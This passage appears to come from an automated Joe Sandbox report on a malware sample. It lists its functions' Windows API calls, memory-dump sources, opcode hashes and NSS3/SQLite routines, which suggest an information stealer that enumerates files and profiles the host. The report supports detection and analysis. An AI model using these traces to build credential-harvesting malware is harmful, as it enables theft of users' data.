Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 91d09adda85834c3fd99056395c8999d2d0c17f6e577413f915dd04d5f5fca58
Instruction ID: df39fec182a976cf14ea74314fd1cc2d61bc45c83f0c5b543270b10835f39725
Opcode Fuzzy Hash: 91d09adda85834c3fd99056395c8999d2d0c17f6e577413f915dd04d5f5fca58
Instruction Fuzzy Hash: B4715271A111089BCB04FBA1DCA6DEE733AAF14314F40456FF50267195EF387A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: bff2cd72ca51f604b8cae6ffaccc6788292cd5c635fa360249288f38c6295135
Instruction ID: 1e55e6aee22da07579867dcc14e26085db0c1923c06382e7ddd462ac09197dec
Opcode Fuzzy Hash: bff2cd72ca51f604b8cae6ffaccc6788292cd5c635fa360249288f38c6295135
Instruction Fuzzy Hash: 6041D474A00209EFCB54CF58C494BADBBB1FF44314F1486A9E949AB385D735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416CBC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416CBC), ref: 004010F7

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 4ccb3339a7f6084aabfd7cf6baf65b53e8baa26228d10618978cb16090ab9117
Instruction ID: a2dd58c0224e163af538114889642f36ecbeef109afe3d50a53e5cb7169f74e2
Opcode Fuzzy Hash: 4ccb3339a7f6084aabfd7cf6baf65b53e8baa26228d10618978cb16090ab9117
Instruction Fuzzy Hash: 74F0E2B1A42208BBE7149AA4AC59FAFB799E705B04F300459F540E3290D571AF00DAA4

Function 00418F20 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00410277,?,00000000,?,00000000,00420DB2,00420DAF), ref: 00418F2F

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e4e61478786545620c941bfdebde28148ee30d40bfd2ffe50c48c5d67029bfc3
Instruction ID: 622f2f336d6b1c39152e8ed1c6124f6159486e78b27092244718ebba6cc61b65
Opcode Fuzzy Hash: e4e61478786545620c941bfdebde28148ee30d40bfd2ffe50c48c5d67029bfc3
Instruction Fuzzy Hash: 7EF01C70D0520CEBCB00EF94D4496DDBB75EB00324F10819AE82967280DB385B96CB89

Function 00418F70 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 6d5c486f1174f401a7d52f4a33802c5c22497fe214560b0ce90e5b19e21db00a
Instruction ID: e79076dc3140f9edc5567924fb21932d6a0b2d79ef3805787682db2ce51b8011
Opcode Fuzzy Hash: 6d5c486f1174f401a7d52f4a33802c5c22497fe214560b0ce90e5b19e21db00a
Instruction Fuzzy Hash: 92E0127194434C6BDB51DB50CC96FDD776D9B44B11F004295BA0C5B1C0DE70AB858B95

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: dcd40bd9b7440eb8545f2694ec48fb4b44b4fea9788a6d776e7c72e508f0613a
Instruction ID: bcf4cddec8ba3652d3daa4bfa83a7295d39fc22ea0064294e7a9f420d8d9705c
Opcode Fuzzy Hash: dcd40bd9b7440eb8545f2694ec48fb4b44b4fea9788a6d776e7c72e508f0613a
Instruction Fuzzy Hash: E1E0ECB5D5820152DB1473B6AC06B5B339D5B1934EF04142FF90896252FE29F8404169

Function 00409910 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,004108B9,?,?), ref: 00409918

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 3912ae89892860816b228f59aaf213fb868172a610b0e449912dea322eeca367
Instruction ID: 7a81cf42230454625edcc1d807e760a9f48c6c1e1b7ee97c20b10c4417f739aa
Opcode Fuzzy Hash: 3912ae89892860816b228f59aaf213fb868172a610b0e449912dea322eeca367
Instruction Fuzzy Hash: F3F054B4D00208FBDB00EFA5C846B9EBBB49B08304F1085A9F905A7381E674AB14CB95

Non-executed Functions

Function 6C746D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C84A8EC,0000006C), ref: 6C746DC6
memcpy.VCRUNTIME140(?,6C84A958,0000006C), ref: 6C746DDB
memcpy.VCRUNTIME140(?,6C84A9C4,00000078), ref: 6C746DF1
memcpy.VCRUNTIME140(?,6C84AA3C,0000006C), ref: 6C746E06
memcpy.VCRUNTIME140(?,6C84AAA8,00000060), ref: 6C746E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C746E38

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C746E76
TlsGetValue.KERNEL32 ref: 6C74726F
EnterCriticalSection.KERNEL32(?), ref: 6C747283

Strings

!, xrefs: 6C747123

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: c33703f886d63370974739e3e0117dd9ab406f769ce6792d2f968d792d8bb160
Instruction ID: 616deb0c5e25e227d34362dc4ff549a3ee1269d8d1f163a3cdee655244387593
Opcode Fuzzy Hash: c33703f886d63370974739e3e0117dd9ab406f769ce6792d2f968d792d8bb160
Instruction Fuzzy Hash: 66728E75D052299FDF60DF28CD88B9ABBB5BF49308F1481A9D80DA7701E7319A84CF91

Function 00413B00 Relevance: 47.5, APIs: 21, Strings: 6, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413B1C
FindFirstFileA.KERNEL32(?,?), ref: 00413B33
lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413B85
StrCmpCA.SHLWAPI(?,00420F58), ref: 00413B97
StrCmpCA.SHLWAPI(?,00420F5C), ref: 00413BAD
FindNextFileA.KERNEL32(000000FF,?), ref: 00413EB7
FindClose.KERNEL32(000000FF), ref: 00413ECC

Strings

%s\%s\%s, xrefs: 00413C9A
%s\*, xrefs: 00413B10
%s\%s, xrefs: 00413CBF
%s%s, xrefs: 00413CFD
%s\%s, xrefs: 00413BCA
q?A, xrefs: 00413ED2, 00413E95, 00413DB9, 00413B59, 00413DBC, 00413E98

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*$q?A
API String ID: 1125553467-4052298153
Opcode ID: 5188e768485120e5afde4a9c889630e7fccae7ad22d18829d963d7ba80f2afd1
Instruction ID: 118bc6de907018410b19fab89ebe74f6f374c1ff32bc5bb8bfd4c4c53b142975
Opcode Fuzzy Hash: 5188e768485120e5afde4a9c889630e7fccae7ad22d18829d963d7ba80f2afd1
Instruction Fuzzy Hash: E9A141B1A042189BDB24DF64DC85FEA7379BB48301F44458EF60D96181EB74AB88CF66

Function 6C6B3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C6B3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C6B410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6B449C

Strings

%s at line %d of [%.10s], xrefs: 6C6B4495, 6C6B44F9, 6C6B459E, 6C6B4769, 6C6B4809
database corruption, xrefs: 6C6B4490, 6C6B44F4, 6C6B4599, 6C6B4764, 6C6B4804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6B4452, 6C6B4486, 6C6B44EA, 6C6B4571, 6C6B4580, 6C6B458F, 6C6B475A, 6C6B47FA

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: bccce41c65aa9d99369b4eb49ffa509743887360591c07efad8e3adcfbdca5de
Instruction ID: 5bb1b424bf5864353bee62ac2fd49a929a834253da578eeef8e555ad58f7c9b5
Opcode Fuzzy Hash: bccce41c65aa9d99369b4eb49ffa509743887360591c07efad8e3adcfbdca5de
Instruction Fuzzy Hash: 8B82CF71A00215CFCB04CF69C580BAAB7B2FF49318F2581A9D905BBB51D771EC62CB99

Function 6C78AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C78ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C78ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C78ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C78AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C78ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C78ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C78ADF0

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C78B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C78B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C78B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C78B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C78B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C78B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C78B40C

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 0f9319aea5119591cdf08436718d9f0436a5cb8a44224937400463cd4c2b7043
Instruction ID: ed55b97874276b6af249aad35e12cdfe0e6770f4bcb4a706673c3f12980543ee
Opcode Fuzzy Hash: 0f9319aea5119591cdf08436718d9f0436a5cb8a44224937400463cd4c2b7043
Instruction Fuzzy Hash: A622D170905301AFE710CF14CE49B9A77E1AF8431CF14857CEA585B7A2E772E859CB92

Function 6C70ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C70ED38

Part of subcall function 6C6A4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C70EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C70EFE4

Part of subcall function 6C7CDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C6A5001,?,00000003,00000000), ref: 6C7CDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C70F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C70F129
sqlite3_mprintf.NSS3(optimize), ref: 6C70F1D1
sqlite3_free.NSS3(?), ref: 6C70F368

Strings

fts3tokenize, xrefs: 6C70F30F
porter, xrefs: 6C70ED97
fts3_tokenizer, xrefs: 6C70EE1A, 6C70EEA8
offsets, xrefs: 6C70EFAF, 6C70EFDF, 6C70F01F
simple, xrefs: 6C70ED79
unicode61, xrefs: 6C70EDB5
snippet, xrefs: 6C70EF05, 6C70EF37, 6C70EF7C
optimize, xrefs: 6C70F199, 6C70F1CC, 6C70F211
fts3, xrefs: 6C70F247
fts4aux, xrefs: 6C70ECF9
fts4, xrefs: 6C70F2AD
matchinfo, xrefs: 6C70F04F, 6C70F082, 6C70F0C2, 6C70F0F2, 6C70F124, 6C70F169

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: ac755dc5ea4c94715eaf03416569bf22862dad6570eba283b93c4ad0b4ea5f58
Instruction ID: 7dbc6ebba15c4621076cb0d05d27c9b98bc6086e4be1aafc96f759879254725e
Opcode Fuzzy Hash: ac755dc5ea4c94715eaf03416569bf22862dad6570eba283b93c4ad0b4ea5f58
